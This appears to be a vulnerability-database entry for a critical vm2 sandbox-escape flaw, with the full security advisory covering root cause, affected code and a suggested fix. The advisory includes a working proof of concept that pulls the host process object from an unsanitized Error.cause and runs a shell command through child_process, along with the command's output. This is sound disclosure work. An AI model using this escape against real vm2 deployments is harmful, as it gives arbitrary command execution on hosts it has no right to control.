CVE-2026-47686
criticalpriority · track · 0EPSS 0.006 · 48 %ileDEEUUSEPSS · scored 2026-10-27
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, handleException() in lib/setup-sandbox.js sanitizes SuppressedError.error, SuppressedError.suppressed, and AggregateError.errors but does not sanitize Error.cause, allowing sandbox code to obtain a powerful host object such as process from an embedder-exposed host function that throws an error with that object as its cause and then execute arbitrary host commands. This issue is fixed in version 3.11.6.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (4)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-2865vm2: Mehrere SchwachstellenDeutsch2026-08-16csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um einen Denial of Service Angriff durchzuführen, um beliebigen Programmcode auszuführen, um Informationen offenzulegen, und um Daten zu manipulieren.
- GHSA-m283-3h24-438vVM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE2026-08-17ghsa · osvUS
**Affected:** vm2 <= 3.11.3 **CVSS 3.1:** 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) **CWE:** CWE-693 (Protection Mechanism Failure) **Prerequisite:** Embedder exposes a host function that throws an Error with `.cause` referencing a powerful host object (e.g., `process`) ## Summary I found that `handleException()` in `lib/setup-sandbox.js` recursively sanitizes sub-errors for `SuppressedError` and `AggregateError`, but completely ignores the ES2022 `Error.cause` property. When sandbox code catches a host-thrown error carrying a `.cause` that references a host object like `process`, it can traverse that reference to achieve arbitrary command execution on the host. The project's own `docs/ATTACKS.md` (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim. ## Root Cause The `handleException` function (lines 869-959 of `lib/setup-sandbox.js`) walks the prototype chain of caught errors looking for `SuppressedError` and `AggregateError`. When it finds them, it recursively sanitizes their contained errors (`.error`, `.suppressed`, `.errors[]`). For all other error types, it returns `e` directly at line 958 without inspecting `.cause`. ```javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; // ... cycle detection ... while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); // sanitized e.suppressed = handleException(e.suppressed, visited); // sanitized return e; } if (proto === localAggregateErrorProto) { // sanitizes e.errors[] ... return e; } proto = localReflectGetPrototypeOf(proto); } return e; // .cause is NEVER checked } ``` Error.cause was introduced in ES2022 (Node 16.9+). When `handleException` was extended to cover `SuppressedError` (for ES2024 `using` declarations) and `AggregateError`, the `.cause` property was simply overlooked. ## Affected Code - `lib/setup-sandbox.js:869-959`, the `handleException` function (missing `.cause` handling) - `lib/setup-sandbox.js:886`, `ensureThis` wraps the error but does not recurse into `.cause` - `docs/ATTACKS.md:54`, Defense Invariant #3 falsely claims `.cause` is covered ## Reproduction Embedder code that exposes a function throwing with `.cause` set to `process`: ```javascript const { VM } = require('vm2'); const vm = new VM({ sandbox: { hostFn: () => { throw new Error('fail', { cause: process }); } } }); const result = vm.run(` try { hostFn(); } catch (e) { // .cause is not sanitized, so we get a direct reference to host process const proc = e.cause; proc.mainModule.require('child_process').execSync('id').toString(); } `); console.log(result); ``` Verified output: ``` uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),... ``` Full RCE confirmed. ## Impact Any application using vm2 where an embedder-exposed function throws an Error with `.cause` referencing a host object is vulnerable. The attacker gains: - Full host process access (read/write files, spawn processes, network access) - Sandbox escape with changed scope (CVSS S:C) - No user interaction required The prerequisite (embedder throwing with `.cause`) is increasingly common. Error chaining via `new Error('msg', { cause: originalError })` is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way. ## Suggested Fix Add `.cause` sanitization before the prototype-chain walk, so it applies to all error types: ```javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; if (!visited) visited = new LocalWeakMap(); if (apply(localWeakMapGet, visited, [e])) return e; apply(localWeakMapSet, visited, [e, true]); // Sanitize .cause on ALL errors (ES2022) try { if ('cause' in e) { e.cause = handleException(e.cause, visited); } } catch (ex) { /* best effort */ } let proto = localReflectGetPrototypeOf(e); while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); e.suppressed = handleException(e.suppressed, visited); return e; } if (proto === localAggregateErrorProto) { if (localArrayIsArray(e.errors)) { for (let i = 0; i < e.errors.length; i++) { e.errors[i] = handleException(e.errors[i], visited); } } return e; } proto = localReflectGetPrototypeOf(proto); } return e; } ``` `docs/ATTACKS.md` Defense Invariant #3 should also be updated to reflect reality until this fix ships. ## Artifacts | File | Role | |------|------| | `poc_error_cause_escape.js` | PoC demonstrating sandbox escape to RCE via unsanitized `.cause` | [poc_error_cause_escape.js](https://github.com/user-attachments/files/27952274/poc_error_cause_escape.js)
also known as (2)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (6)
External citations — patches, advisories, analysis.
- https://github.com/patriksimek/vm2/commit/7e3faaf550f4ab975bf4cdde183fcec49b056d8eenisa_euvd
- https://github.com/patriksimek/vm2/releases/tag/3.11.6enisa_euvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438venisa_euvd
- https://github.com/patriksimek/vm2/commit/7e3faaf550f4ab975bf4cdde183fcec49b056d8envd
- https://github.com/patriksimek/vm2/releases/tag/3.11.6nvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-m283-3h24-438vnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan